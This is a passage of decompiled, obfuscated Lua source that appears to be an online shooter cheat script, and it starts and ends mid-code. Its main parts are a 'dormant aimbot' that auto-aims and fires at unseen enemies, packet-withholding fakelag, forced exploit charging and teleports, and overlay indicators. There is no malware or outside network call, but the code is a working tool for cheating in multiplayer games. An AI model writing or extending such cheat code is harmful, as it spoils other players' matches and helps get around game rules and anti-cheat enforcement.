                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][10].m_flWeight = 1;
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][10].m_flCycle = 0.5;
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][10].m_nSequence = 10;
                    end;
                    if l_value_3 == "T-pose" then
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][10].m_nSequence = 11;
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][10].m_flWeight = 1;
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][10].m_flCycle = 0;
                    end;
                    if l_value_3 == "Mini mode" then
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][10].m_nSequence = 12;
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][10].m_flWeight = 1;
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][10].m_flCycle = 1;
                    end;
                    if l_value_3 == "Blind" then
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][10].m_flWeight = 1;
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][10].m_flCycle = 1;
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][10].m_nSequence = 225;
                    end;
                    if l_value_3 == "Arrested." then
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][10].m_flWeight = 1;
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][10].m_flCycle = 1;
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][10].m_nSequence = 232;
                    end;
                    local _ = l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][1];
                    return;
                end;
            end;
        end;
    end, 
    resetter = function(v569)
        local v570 = (cvar.mp_freezetime:int() + 1) / globals.tickinterval;
        v569.roundStarted = globals.tickcount + v570;
    end, 
    modify_velocity = function(v571, v572)
        local v573 = math.sqrt(v571.forwardmove * v571.forwardmove + v571.sidemove * v571.sidemove);
        if v572 <= 0 or v573 <= 0 then
            return;
        else
            if v571.in_duck == true then
                v572 = v572 * 2.94117647;
            end;
            if v573 <= v572 then
                return;
            else
                local v574 = v572 / v573;
                v571.forwardmove = v571.forwardmove * v574;
                v571.sidemove = v571.sidemove * v574;
                return;
            end;
        end;
    end, 
    hitbox_pos = {
        Head = {
            [1] = 0
        }, 
        Chest = {
            [1] = 5, 
            [2] = 6
        }, 
        Stomach = {
            [1] = 2, 
            [2] = 3, 
            [3] = 4
        }, 
        Legs = {
            [1] = 7, 
            [2] = 8, 
            [3] = 9, 
            [4] = 10
        }, 
        Feet = {
            [1] = 11, 
            [2] = 12
        }
    }, 
    hitgroup_to_hitbox = function(_, v576)
        if v576 == 1 then
            return 1;
        elseif v576 == 2 then
            return 8;
        elseif v576 >= 3 and v576 <= 4 then
            return 3;
        elseif v576 >= 5 and v576 <= 7 then
            return 2;
        elseif v576 >= 8 and v576 <= 13 then
            if v576 % 2 == 0 then
                return 6;
            else
                return 7;
            end;
        elseif v576 >= 14 and v576 <= 19 then
            if v576 % 2 == 1 then
                return 4;
            else
                return 5;
            end;
        else
            return 0;
        end;
    end, 
    hitbox_to_hitgroup = function(v577)
        if v577 == 0 then
            return "head";
        elseif v577 == 1 then
            return "neck";
        elseif v577 >= 2 and v577 <= 4 then
            return "stomach";
        elseif v577 >= 5 and v577 <= 7 then
            return "chest";
        elseif v577 >= 8 and v577 <= 13 then
            if v577 % 2 == 0 then
                return "left leg";
            else
                return "right leg";
            end;
        elseif v577 >= 14 and v577 <= 19 then
            if v577 % 2 == 1 then
                return "left foot";
            else
                return "right foot";
            end;
        else
            return "unknown";
        end;
    end, 
    get_damage_multiplier = function(v578, v579)
        local v580 = v578.hitbox_to_hitgroup(v579);
        if v580 == "head" then
            return 4;
        elseif v580 == "stomach" then
            return 1.25;
        elseif v580 == "left leg" or v580 == "right leg" then
            return 0.75;
        else
            return 1;
        end;
    end, 
    calculate_hitchance = function(_, _, v583, v584, v585, v586)
        -- upvalues: v78 (ref)
        local v587 = 256;
        local v588 = 0;
        local v589 = v585:get_inaccuracy();
        local v590 = v585:get_spread();
        local v591 = (v584 - v583):length();
        local v592 = 10;
        for _ = 1, v587 do
            local v594 = math.random() * 2 * math.pi;
            local v595 = math.acos(2 * math.random() - 1);
            local v596 = math.sqrt(math.random()) * math.sqrt(v589 ^ 2 + v590 ^ 2) * v591;
            local v597 = math.sin(v595) * math.cos(v594) * v596;
            local v598 = math.sin(v595) * math.sin(v594) * v596;
            local v599 = math.cos(v595) * v596;
            local v600 = vector(v584.x + v597, v584.y + v598, v584.z + v599);
            v78.extrapolated_hitbox = v600;
            if (v600 - v584):length() <= v592 then
                v588 = v588 + 1;
            end;
        end;
        return v586 <= v588 / v587 * 100;
    end, 
    get_best_dmg = function(v601, v602, v603, v604, v605, v606, v607)
        -- upvalues: v78 (ref), v63 (ref), v122 (ref)
        local v608 = 0;
        local v609 = nil;
        local v610 = nil;
        local l_m_bHasHelmet_0 = v604.m_bHasHelmet;
        local l_m_ArmorValue_1 = v604.m_ArmorValue;
        local v613 = v605 > 15;
        local v614 = v613 and 3 or 0;
        local v615 = v613 and vector(v606.x, v606.y, v606.z + (v604.m_flDuckAmount >= 0.8 and utils.random_float(25, 40) or utils.random_float(30, 45))) or v604:get_hitbox_position(0);
        local v616 = v613 and v615 or v607 + (v615 - v606);
        local v618, v619 = utils.trace_bullet(v602, v603, v616, function(v617)
            -- upvalues: v602 (ref)
            v617 = entity.get(v617);
            if v617 == v602 or v617.m_iTeamNum == v602.m_iTeamNum or v617:is_visible() or v617:get_classname() == "CCSPlayer" then
                return 69;
            else
                return;
            end;
        end);
        v618 = v618 * v601:get_damage_multiplier(v614) / math.pow(v78.weapon_info.range_modifier, v616:dist(v619.end_pos) / 500);
        if l_m_bHasHelmet_0 and v614 == 1 or l_m_ArmorValue_1 > 0 and (v614 <= 7 or v614 >= 14) then
            v618 = v618 - math.min(v618 * (1 - v78.weapon_info.armor_ratio * 0.5), 2 * l_m_ArmorValue_1);
        end;
        local v620 = v63.min_damage_ref:get();
        local l_value_4 = v122.misc.dormente_simbot.inherit_damage.value;
        local l_value_5 = v122.misc.dormente_simbot.min_dmg.value;
        local v623 = nil;
        if l_value_4 and v620 ~= 0 then
            v623 = v620;
        else
            v623 = l_value_4 and v620 == 0 and 1 or l_value_5;
        end;
        if v623 <= v618 then
            local l_v618_0 = v618;
            local l_v616_0 = v616;
            v610 = v619;
            v609 = l_v616_0;
            v608 = l_v618_0;
        end;
        return v608, v614, v609, v610;
    end, 
    dormant_player_info = {}, 
    dormant_aimbot = function(v626, v627, v628)
        -- upvalues: v78 (ref), v122 (ref), v189 (ref), v63 (ref)
        local l_weapon_1 = v78.weapon;
        if not l_weapon_1 or not l_weapon_1:is_weapon() or not v122.misc.dormente_simbot.value then
            return;
        else
            local l_tickcount_1 = globals.tickcount;
            if l_tickcount_1 < v626.roundStarted then
                return;
            else
                local v631 = v628:get_eye_position();
                local v632 = v628.m_bIsScoped == true;
                local v633 = to_ticks(utils.net_channel().latency[0] + utils.net_channel().latency[1]) + 2;
                if v78.weapon_info.weapon_type == 0 then
                    return;
                else
                    if globals.is_connected then
                        v78.extrapolated_hitbox = nil;
                        for v634, v635 in pairs(v78.net_player_data.current) do
                            local v636 = v78.is_wraith_user_list ~= nil and v122.misc.shared_users.value and v122.misc.whitelist_users.value and v78.is_wraith_user_list[v634] and (not v78.banned_voice_user_list or not v78.banned_voice_user_list[v634]);
                            if v634 and v635 and v635.is_alive and v635.is_enemy and v635.is_dormant and not v635.is_visible and not v636 then
                                local v637 = math.floor(v635.bbox.alpha * 100) / 100;
                                if v635.origin.x ~= 0 and v637 > 0 then
                                    v626.dormant_player_info[v634] = v626.dormant_player_info[v634] or {
                                        dormant_alpha_tracker = {
                                            update_tick = 0, 
                                            updated = false, 
                                            below_threshold = false
                                        }
                                    };
                                    local v638 = v626.dormant_player_info[v634];
                                    local l_dormant_alpha_tracker_0 = v638.dormant_alpha_tracker;
                                    if v638.first_dormant_tick == nil then
                                        v638.first_dormant_tick = globals.tickcount;
                                        l_dormant_alpha_tracker_0.update_tick = globals.tickcount;
                                    end;
                                    local v640 = l_tickcount_1 - (v638.first_dormant_tick or l_tickcount_1);
                                    if v638.previous_origin then
                                        local v641 = v635.origin:dist(v638.previous_origin);
                                        if math.abs(v641) > 1.0E-4 then
                                            l_dormant_alpha_tracker_0.updated = true;
                                            l_dormant_alpha_tracker_0.update_tick = globals.tickcount;
                                        end;
                                    end;
                                    v638.previous_origin = v635.origin;
                                    if v637 < 0.8 then
                                        local v642 = true;
                                        l_dormant_alpha_tracker_0.updated = false;
                                        l_dormant_alpha_tracker_0.below_threshold = v642;
                                    elseif l_dormant_alpha_tracker_0.below_threshold and v637 >= 0.8 then
                                        local v643 = true;
                                        local v644 = false;
                                        l_dormant_alpha_tracker_0.update_tick = l_tickcount_1;
                                        l_dormant_alpha_tracker_0.below_threshold = v644;
                                        l_dormant_alpha_tracker_0.updated = v643;
                                    end;
                                    local l_network_state_0 = v635.network_state;
                                    if l_network_state_0 ~= v638.previous_network_state then
                                        v638.previous_network_state = l_network_state_0;
                                        if l_network_state_0 >= 1 and l_network_state_0 <= 4 and v637 == 0.8 then
                                            l_dormant_alpha_tracker_0.updated = true;
                                            l_dormant_alpha_tracker_0.update_tick = l_tickcount_1;
                                        end;
                                    end;
                                    local v646 = l_tickcount_1 - l_dormant_alpha_tracker_0.update_tick;
                                    local l_v637_0 = v637;
                                    if v646 <= 50 then
                                        l_v637_0 = math.floor((1 - v646 / 50 * 0.2) * 100) / 100;
                                    else
                                        l_v637_0 = v637;
                                    end;
                                    local v648 = v122.misc.dormente_simbot.accuracy.value <= math.floor(l_v637_0 * 100);
                                    local v649 = math.floor(l_v637_0 * 100);
                                    local v650 = entity.get(v634);
                                    local v651, v652, v653 = v626:get_best_dmg(v628, v631, v650, v640, v635.origin, v189(v650, v635.origin, v633));
                                    local v654 = v653 and v648 and v652 and v651 > 0;
                                    if v653 and v648 then
                                        if v78.can_fire and not v78.weapon_info.full_auto or v78.weapon_info.full_auto then
                                            v626.modify_velocity(v627, (v632 == true and v78.weapon_info.max_player_speed_alt or v78.weapon_info.max_player_speed) * 0.33);
                                        end;
                                        if not v632 and l_weapon_1.m_zoomLevel == 0 and v78.weapon_info.weapon_type == 5 and not v78.jumping and v78.on_ground == true then
                                            v627.in_attack2 = true;
                                        end;
                                    end;
                                    if v654 and v626:calculate_hitchance(v628, v631, v653, l_weapon_1, v122.misc.dormente_simbot.hitchance.value) and v78.can_fire and (not v63.fake_duck_ref:get() or v628.m_flDuckAmount == 0) then
                                        local v655 = 1;
                                        v627.view_angles = v631:to(v653):angles();
                                        v627.in_attack = v655;
                                        v78.dormant_fire_data = {
                                            target_name = v635.name, 
                                            best_hitbox = v652, 
                                            dmg = v651, 
                                            predictive = v640 == 0, 
                                            ping_ticks = v640 == 0 and v633 or 0, 
                                            hitchance = v649, 
                                            tick = globals.tickcount
                                        };
                                    end;
                                else
                                    v626.dormant_player_info[v634] = nil;
                                end;
                            end;
                            if v635 and not v635.is_dormant then
                                v626.dormant_player_info[v634] = nil;
                            end;
                        end;
                    else
                        v78.extrapolated_hitbox = nil;
                    end;
                    return;
                end;
            end;
        end;
    end, 
    choca_fakelag = function(_, v657, v658)
        -- upvalues: v122 (ref), v78 (ref), v484 (ref)
        if not v122.misc.custom_fakelag.value or not v78.jumping and v78.on_ground then
            return;
        else
            if rage.exploit:get() == 0 and not v78.instant_stance then
                local v659 = v657:simulate_movement();
                v659:think(1);
                local v660 = v657:simulate_movement();
                v660:think(2);
                local v661 = bit.band(v659.flags, bit.lshift(1, 0)) ~= 0;
                local v662 = bit.band(v660.flags, bit.lshift(1, 0)) ~= 0;
                v484(true);
                v658.send_packet = false;
                if not v78.on_ground and not v661 then
                    local v663 = math.random(1, 14);
                    if v78.lc_broken_for >= (v122.misc.custom_fakelag.slider.value ~= 0 and v122.misc.custom_fakelag.slider.value or v663) then
                        v658.send_packet = true;
                    end;
                    if v78.is_firing then
                        v658.send_packet = true;
                    end;
                end;
                if v662 and not v78.on_ground then
                    v658.send_packet = true;
                end;
            end;
            return;
        end;
    end, 
    run_air_lag = function(v664, v665)
        -- upvalues: v63 (ref), v122 (ref), v78 (ref)
        local l_double_tap_ref_1 = v63.double_tap_ref;
        local v667 = entity.get_threat(true);
        local l_value_6 = v122.misc.airlag.delay.value;
        local l_value_7 = v122.misc.airlag.prefer_lc.value;
        local v670 = v667 ~= nil;
        v78.air_lag_active = v122.misc.airlag.value and (v78.jumping or not v78.on_ground) and l_double_tap_ref_1:get() and (not v122.misc.airlag.on_hit.value or v670);
        local _ = v665:get_origin();
        if v78.air_lag_active and (not l_value_7 or v78.good_tp_incoming) then
            local v672 = rage.exploit:get();
            rage.exploit:allow_charge(true);
            rage.exploit:force_charge();
            v664.cum = v664.cum + 1;
            if v672 == 1 and (not l_value_6 or v78.defensive or v664.cum >= 4) then
                v664.cum = 0;
                rage.exploit:force_teleport();
            end;
        end;
    end, 
    teleport_recharge = function(v673)
        -- upvalues: v63 (ref), v122 (ref), v339 (ref)
        local l_double_tap_ref_2 = v63.double_tap_ref;
        local l_hideshots_ref_1 = v63.hideshots_ref;
        local v676 = rage.exploit:get();
        local v677 = v122.misc.teleport_recharge.recharge_delay.value * 0.1;
        local v678 = v122.misc.teleport_recharge.minimum_charge.value * 0.1;
        if v339.pin_pulled_found then
            return;
        elseif v673.teleport_recharged then
            if globals.tickcount >= v673.recharge_after then
                l_double_tap_ref_2:override();
                l_hideshots_ref_1:override();
                v673.teleport_recharged = false;
                v673.recharge_after = nil;
            end;
            return;
        elseif not v122.misc.teleport_recharge.value then
            v673.teleported_this_toggle = false;
            return;
        else
            rage.exploit:allow_charge(true);
            rage.exploit:force_charge();
            if v676 < v678 then
                return;
            else
                if not v673.teleport_recharged and not v673.teleported_this_toggle then
                    v673.teleport_recharged = true;
                    v673.teleported_this_toggle = true;
                    l_double_tap_ref_2:override(false);
                    l_hideshots_ref_1:override(false);
                    v673.recharge_after = globals.tickcount + math.floor(v677 / globals.tickinterval);
                end;
                return;
            end;
        end;
    end, 
    render_indicator = function(_, v680)
        -- upvalues: v78 (ref), v428 (ref), v429 (ref)
        local l_screen_size_0 = v78.screen_size;
        v428.indicator = 0;
        for _, v683 in ipairs(v680) do
            if v683.method == true then
                local v684 = render.measure_text(v429, "da", v683.text);
                local v685 = l_screen_size_0.y * 0.5 + (l_screen_size_0.y * 0.5 * 0.43 - 1) + v428.indicator;
                render.gradient(vector(l_screen_size_0.x - l_screen_size_0.x, v685), vector(l_screen_size_0.x - l_screen_size_0.x + 31 + v684.x * 0.5, v685 + 33), color(0, 0, 0, 0), color(12, 12, 12, 35), color(0, 0, 0, 0), color(12, 12, 12, 35));
                render.gradient(vector(31 + v684.x * 0.5, v685), vector(31 + v684.x * 0.5 + 29 + v684.x * 0.5, v685 + 33), color(12, 12, 12, 35), color(0, 0, 0, 0), color(12, 12, 12, 35), color(0, 0, 0, 0));
                if not v683.bomb then
                    render.text(v429, vector(29, v685 + 7), color(v683.color[1], v683.color[2], v683.color[3], 235), nil, v683.text);
                else
                    local v686 = render.measure_text(v429, "da", v683.text);
                    render.text(v429, vector(29, v685 + 7), color(v683.color[1], v683.color[2], v683.color[3], 235), nil, v683.text);
                    if not v683.kinda_bomb then
                        local v687 = 29 + v686.x + 15;
                        local v688 = l_screen_size_0.y * 0.0125;
                        render.circle_outline(vector(v687, v685 + v688), color(10, 10, 10, 230), 10, 0, 1, 5);
                        render.circle_outline(vector(v687, v685 + v688), color(205, 205, 205, 255), 9, 0, 1 - v683.planting_percentage, 3);
                    end;
                end;
                v428.indicator = v428.indicator - 41;
            end;
        end;
    end, 
    bomb_indicator = function(_)
        -- upvalues: v78 (ref), v429 (ref), v464 (ref), v52 (ref), v467 (ref)
        local v690 = 1;
        local _ = v78.screen_size;
        if v78.bomb_data.planting then
            local v692 = globals.curtime - v78.bomb_data.plant_start;
            v690 = math.max(0, 1 - v692 / v78.bomb_data.plant_time);
            render.gradient(vector(0, v78.screen_size.y * 0.5 + v78.screen_size.y * 0.5 * 0.25 - 40), vector(60, v78.screen_size.y * 0.5 + v78.screen_size.y * 0.5 * 0.25 - 40 + 33), color(0, 0, 0, 0), color(12, 12, 12, 40), color(0, 0, 0, 0), color(12, 12, 12, 40));
            render.gradient(vector(60, v78.screen_size.y * 0.5 + v78.screen_size.y * 0.5 * 0.25 - 40), vector(120, v78.screen_size.y * 0.5 + v78.screen_size.y * 0.5 * 0.25 - 40 + 33), color(12, 12, 12, 40), color(0, 0, 0, 0), color(12, 12, 12, 40), color(0, 0, 0, 0));
            render.circle_outline(vector(98, v78.screen_size.y * 0.5 + v78.screen_size.y * 0.5 * 0.25 - 24), color(10, 10, 10, 230), 10, 0, 1, 5);
            render.circle_outline(vector(98, v78.screen_size.y * 0.5 + v78.screen_size.y * 0.5 * 0.25 - 24), color(205, 205, 205, 255), 9, 0, 1 - 1 * v690, 3);
            render.text(v429, vector(72, v78.screen_size.y * 0.5 + v78.screen_size.y * 0.5 * 0.25 - 22), color(225, 216, 95, 255), "c", v464(v78.bomb_data.site));
            v45_safe_texture_0(v52, vector(30, v78.screen_size.y * 0.5 + v78.screen_size.y * 0.5 * 0.25 - 40), vector(30, 30), color(225, 216, 95, 255));
        end;
        if v78.bomb_data.is_defusing then
            local v693 = globals.curtime - v78.bomb_data.defuse_start;
            v690 = math.max(0, 1 - v693 / v78.bomb_data.defuse_time);
            render.rect(vector(0, 0), vector(19, v78.screen_size.y), color(12, 12, 12, 200));
            render.rect(vector(1, v78.screen_size.y - v78.screen_size.y * v690), vector(18, v78.screen_size.y - v78.screen_size.y * v690 + v78.screen_size.y), color(182, 231, 23, 140));
        end;
        local v694 = entity.get_entities("CPlantedC4", true)[1];
        if v694 == nil or v694.m_bBombDefused or entity.get_local_player() == nil or math.floor(v467(v694)) <= 0 then
            return;
        else
            local l_m_nBombSite_0 = v694.m_nBombSite;
            l_m_nBombSite_0 = l_m_nBombSite_0 == 0 and "A" or l_m_nBombSite_0 == 1 and "B" or "?";
            render.gradient(vector(0, v78.screen_size.y * 0.5 + v78.screen_size.y * 0.5 * 0.25 - 40), vector(60, v78.screen_size.y * 0.5 + v78.screen_size.y * 0.5 * 0.25 - 40 + 33), color(0, 0, 0, 0), color(12, 12, 12, 40), color(0, 0, 0, 0), color(12, 12, 12, 40));
            render.gradient(vector(60, v78.screen_size.y * 0.5 + v78.screen_size.y * 0.5 * 0.25 - 40), vector(120, v78.screen_size.y * 0.5 + v78.screen_size.y * 0.5 * 0.25 - 40 + 33), color(12, 12, 12, 40), color(0, 0, 0, 0), color(12, 12, 12, 40), color(0, 0, 0, 0));
            render.text(v429, vector(72, v78.screen_size.y * 0.5 + v78.screen_size.y * 0.5 * 0.25 - 35), color(210, 210, 210, 255), nil, l_m_nBombSite_0 .. " - " .. string.format("%.1f", v467(v694)));
            v45_safe_texture_0(v52, vector(30, v78.screen_size.y * 0.5 + v78.screen_size.y * 0.5 * 0.25 - 40), vector(30, 30), color(210, 210, 210, 255));
            return;
        end;
    end
};
local function _(v697)
    local v698 = 10;
    local v699 = 50;
    local v700 = 15;
    local v701 = 150;
    for v702, v703 in pairs(v697.current) do
        if v703 then
            local v704 = to_ticks(v703.simtime or 0);
            local v705 = string.format("%s | Sim: %d | Health: %d | Dormant: %s | Visible: %s | Did set angle: %s | Yaw: %d | %s", v703.name, v704, v703.health or 0, v703.is_dormant and "Yes" or "No", v703.is_visible and "Yes" or "No", v703.did_set_angle and "Yes" or "No", v703.enemy_yaw or 0, v703.resolver_flag or "");
            render.text(1, vector(v698, v699), color(255, 255, 255, 255), "l", v705);
            local v706 = v697.yaw_history[v702] or {};
            local v707 = v699 + v700;
            for v708, v709 in ipairs(v706) do
                local v710 = string.format("  [Yaw%d] Yaw: %d", v708, v709.yaw);
                render.text(1, vector(v698 + v701, v707), color(150, 150, 255, 255), "l", v710);
                v707 = v707 + v700;
            end;
            v699 = v707 + v700;
        end;
    end;
end;
local function v715()
    -- upvalues: v78 (ref)
    v78.screen_size = render.screen_size();
    v78.ui_alpha = ui.get_alpha();
    if (v78.screen_size.x ~= v78.old_screen_size.x or v78.screen_size.y ~= v78.old_screen_size.y) and v78.screen_size.x ~= 0 and v78.screen_size.y ~= 0 then
        v78.old_screen_size.x = v78.screen_size.x;
        v78.old_screen_size.y = v78.screen_size.y;
    end;
    local l_screen_center_0 = v78.screen_center;
    local l_screen_center_1 = v78.screen_center;
    local v714 = v78.screen_size.x * 0.5;
    l_screen_center_1.y = v78.screen_size.y * 0.5;
    l_screen_center_0.x = v714;
    if v78.extrapolated_hitbox then
        l_screen_center_0 = render.world_to_screen(v78.extrapolated_hitbox);
        render.circle(l_screen_center_0, color(10, 10, 10, 200), 12.5, 0, 1, 5);
        render.text(2, l_screen_center_0, color(255, 255, 255, 220), "c", "DMG");
    end;
end;
if v78.screen_size.x == 0 or v78.screen_size.y == 0 then
    v78.screen_size = render.screen_size();
    local l_screen_center_2 = v78.screen_center;
    local v717 = "x";
    local l_screen_center_3 = v78.screen_center;
    local v719 = "y";
    local v720 = v78.screen_size.x * 0.5;
    l_screen_center_3[v719] = v78.screen_size.y * 0.5;
    l_screen_center_2[v717] = v720;
end;
local function v727(v721, v722, v723, v724, v725, v726)
    v721 = tonumber(v721) or 0;
    v722 = tonumber(v722) or 0;
    if v721 < 0 or v723 < v721 or v722 < 0 or v724 < v722 then
        return v725, v726;
    else
        return v721, v722;
    end;
end;
local v728 = db.defensive_location_mini or {};
local v729 = {
    defensive = {
        v727(v728.location_x or v78.screen_center.x, v728.location_y or v78.screen_center.y - 300, v78.screen_size.x, v78.screen_size.y, v78.screen_center.x, v78.screen_center.y - 100)
    }, 
    slow = {
        v727(v728.location_x1 or v78.screen_center.x, v728.location_y1 or v78.screen_center.y - 200, v78.screen_size.x, v78.screen_size.y, v78.screen_center.x, v78.screen_center.y - 300)
    }, 
    mini = {
        v727(v728.location_x2 or v78.screen_center.x + 10, v728.location_y2 or v78.screen_center.y - 10, v78.screen_size.x, v78.screen_size.y, v78.screen_center.x + 10, v78.screen_center.y - 10)
    }, 
    respect = {
        v727(v728.location_x3 or v78.screen_size.x / 5, v728.location_y3 or v78.screen_size.y / 5, v78.screen_size.x, v78.screen_size.y, v78.screen_size.x / 5, v78.screen_size.y / 5)
    }, 
    lcbomba = {
        v727(v728.location_x4 or v78.screen_center.x, v728.location_y4 or v78.screen_center.y + 400, v78.screen_size.x, v78.screen_size.y, v78.screen_center.x, v78.screen_center.y - 100)
    }
};
local v730 = {
    defensive = v729.defensive and {
        x = v729.defensive[1], 
        y = v729.defensive[2]
    } or {
        y = 0, 
        x = 0
    }, 
    slow = v729.slow and {
        x = v729.slow[1], 
        y = v729.slow[2]
    } or {
        y = 0, 
        x = 0
    }, 
    respect = v729.respect and {
        x = v729.respect[1], 
        y = v729.respect[2]
    } or {
        y = 0, 
        x = 0
    }, 
    mini = {
        x = v78.screen_size.x * 0.5, 
        y = v78.screen_size.y * 0.5
    }, 
    lcbomba = v729.lcbomba and {
        x = v729.lcbomba[1], 
        y = v729.lcbomba[2]
    } or {
        x = v78.screen_center.x, 
        y = v78.screen_center.y - 100
    }
};
local v731 = {
    Default = 1, 
    Small = 2, 
    Bold = 4, 
    Console = 3, 
    ["SA-MP"] = v55, 
    ["GTA-SA"] = v60
};
local _ = {
    Default = 1, 
    Small = 2, 
    Bold = 4, 
    Console = 3, 
    ["SA-MP"] = v55, 
    ["GTA-SA"] = v60, 
    ["Vice City"] = v61
};
local v969 = {
    dragged = false, 
    is_defensive = false, 
    coka2 = false, 
    shoot = true, 
    mini_outline_alpha = 0, 
    screen_color = 0, 
    slow_outline_alpha = 0, 
    defensive_outline_alpha = 0, 
    coka = false, 
    was_slow_alpha = 255, 
    was_slow = false, 
    bar_width = 0, 
    defensive_ticks = 0, 
    timer = 0, 
    defensive_fill = 0, 
    defensive_alpha = 0, 
    def_diff = 0, 
    switch_back = false, 
    anim_size_scope = 0, 
    current_item = "defensive", 
    hit_points = {}, 
    miss_points = {}, 
    render_miss_circle = function(v733)
        -- upvalues: v122 (ref), v411 (ref), v155 (ref)
        if #v733.miss_points == 0 then
            return;
        else
            local l_value_8 = v122.visuals.miss_circle.circle_color.value;
            local l_value_9 = v122.visuals.miss_circle.circle_duration.value;
            local l_curtime_0 = globals.curtime;
            local l_frametime_0 = globals.frametime;
            for v738 = #v733.miss_points, 1, -1 do
                local v739 = v733.miss_points[v738];
                local v740 = render.world_to_screen(v739.gps);
                if v740 then
                    v411(vector(v740.x, v740.y), 10, 10, color(l_value_8.r, l_value_8.g, l_value_8.b, v739.alfa_hvh), 20, 1, 0);
                    if v739.time + l_value_9 <= l_curtime_0 then
                        v739.alfa_hvh = math.floor(v155(v739.alfa_hvh, 0, l_frametime_0));
                    end;
                    if v739.alfa_hvh <= 5 or l_curtime_0 < v739.time then
                        table.remove(v733.miss_points, v738);
                    end;
                else
                    break;
                end;
            end;
            return;
        end;
    end, 
    min_damage_indicator = function(_, v742, _)
        -- upvalues: v122 (ref), v63 (ref), v729 (ref)
        if not v122.visuals.min.value or not v742:is_alive() then
            return;
        else
            local v744 = v63.min_damage_ref:get();
            if v744 == 0 then
                return;
            else
                local l_mini_0 = v729.mini;
                if l_mini_0 then
                    render.text(2, vector(l_mini_0[1], l_mini_0[2]), color(255, 255, 255, 255), "c", v744);
                end;
                return;
            end;
        end;
    end, 
    render_hitmarker_3d = function(v746)
        -- upvalues: v122 (ref), v155 (ref)
        if #v746.hit_points == 0 then
            return;
        else
            local l_curtime_1 = globals.curtime;
            local l_frametime_1 = globals.frametime;
            local l_value_10 = v122.visuals.hitmarker_option.hitmarker_duration_3d.value;
            for v750 = #v746.hit_points, 1, -1 do
                local v751 = v746.hit_points[v750];
                local v752 = render.world_to_screen(v751.gps);
                if v752 then
                    local l_value_11 = v751.color.value;
                    local v754 = color(l_value_11.r, l_value_11.g, l_value_11.b, v751.alfa_hvh);
                    local v755 = {
                        [1] = {
                            [1] = 4, 
                            [2] = 4, 
                            [3] = 8, 
                            [4] = 8
                        }, 
                        [2] = {
                            [1] = 4, 
                            [2] = -4, 
                            [3] = 8, 
                            [4] = -8
                        }, 
                        [3] = {
                            [1] = -4, 
                            [2] = -4, 
                            [3] = -8, 
                            [4] = -8
                        }, 
                        [4] = {
                            [1] = -4, 
                            [2] = 4, 
                            [3] = -8, 
                            [4] = 8
                        }
                    };
                    for _, v757 in ipairs(v755) do
                        render.line(vector(v752.x + v757[1], v752.y + v757[2]), vector(v752.x + v757[3], v752.y + v757[4]), v754);
                    end;
                    if v751.time + l_value_10 <= l_curtime_1 then
                        v751.alfa_hvh = math.floor(v155(v751.alfa_hvh, 0, l_frametime_1));
                    end;
                    if v751.alfa_hvh <= 5 or l_curtime_1 < v751.time then
                        table.remove(v746.hit_points, v750);
                    end;
                else
                    break;
                end;
            end;
            return;
        end;
    end, 
    modern_spec = function(_, v759, _, v761)
        -- upvalues: v122 (ref), v78 (ref), v49 (ref)
        if not v122.visuals.spectator_list.value or not globals.is_connected or not v759 then
            return;
        else
            local l_screen_size_2 = v78.screen_size;
            local v763 = v122.visuals.spectator_list.side.value == "Left";
            for v764, v765 in ipairs(v759:get_spectators()) do
                local v766 = nil;
                local v767 = v765:get_name();
                local v768 = render.measure_text(1, nil, v767);
                local v769 = v761 + v764 * 30 - 75;
                local v770 = nil;
                local v771 = nil;
                local v772 = nil;
                local v773 = nil;
                if v763 then
                    v770 = vector(5, v769);
                    v771 = vector(35, v769);
                    v772 = vector(35 + v768.x + 4, v769 + 25);
                    v773 = vector(37, v769 + 6);
                else
                    v770 = vector(l_screen_size_2.x - 40, v769);
                    v771 = vector(l_screen_size_2.x - 50 - v768.x - 2, v769);
                    v772 = vector(l_screen_size_2.x - 50 - v768.x - 5 + v768.x + 7, v769 + 25);
                    v773 = vector(l_screen_size_2.x - 50 - v768.x, v769 + 6);
                end;
                v45_safe_texture_0(v766, v770, vector(25, 25), color(255, 255, 255, 255), "r");
                render.rect(v771, v772, color(22, 22, 22, 130), 3);
                render.text(1, v773, color(220, 220, 220, 255), nil, v767);
            end;
            return;
        end;
    end, 
    watermark = function(_)
        -- upvalues: v122 (ref), v78 (ref), v46 (ref), v411 (ref), v47 (ref)
        if not v122.visuals.default_watermark.value then
            return;
        else
            local l_respect_system_0 = v78.respect_system;
            local v776 = l_respect_system_0.level_respect / l_respect_system_0.respect_needed * 360;
            local l_screen_size_3 = v78.screen_size;
            local v778 = "wraith | " .. v46;
            local v779 = vector(render.measure_text(1, nil, v778).x, 12, 0);
            local v780 = 30;
            local v781 = vector(l_screen_size_3.x - v779.x - 50, 30 + v780);
            local l_value_12 = v122.visuals.default_watermark.color.value;
            if l_respect_system_0.respect_ready_to_save then
                render.circle_outline(v781, color(0, 0, 0, 255), 24, 0, 1, 2);
                render.circle_outline(v781, l_value_12, 24, -90, v776 / 360, 2);
                local l_level_0 = l_respect_system_0.level;
